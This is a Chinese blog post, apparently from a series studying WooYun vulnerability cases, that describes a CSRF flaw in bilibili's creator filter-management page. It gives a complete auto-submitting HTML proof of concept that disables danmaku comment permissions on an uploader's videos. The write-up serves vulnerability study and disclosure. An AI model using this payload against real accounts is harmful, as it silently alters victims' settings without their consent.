【漏洞学习——CSRF】bilibili某处csrf漏洞

最新推荐文章于 2025-03-04 06:37:25 发布

FLy_鹏程万里

最新推荐文章于 2025-03-04 06:37:25 发布

阅读量3.4k

点赞数 1

分类专栏：【渗透测试实战】 # 乌云漏洞案例学习

本文链接：https://blog.csdn.net/Fly_hps/article/details/84390831

版权

【渗透测试实战】同时被 2 个专栏收录

160 篇文章

订阅专栏

乌云漏洞案例学习

75 篇文章

订阅专栏

漏洞细节

此漏洞可以针对up主，关闭下列三项弹幕权限，使其发稿视频没有弹幕！
csrf位置在用户中心-->过滤管理中

http://member.bilibili.com/#gl_manage

poc

<html>
   <head>
   <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
   <title>CSRF/exploit--bilibili</title>
   </head>

    <body>
   <form action="http://member.bilibili.com/video_manage.do?act=save_filter" method="POST">
      <input type="hidden" name="format" value="json" />
      <input type="hidden" name="accept_guest" value="0" />
      <input type="hidden" name="accept_spcmt" value="0" />

      <input type="hidden" name="accept_advcmt" value="0" />
      <input type="hidden" name="block_group" value="" />
      <input type="hidden" name="new_filters" value="[]" />
    </form>
   </body>
 <script>
      document.forms[0].submit();
 </script>
</html>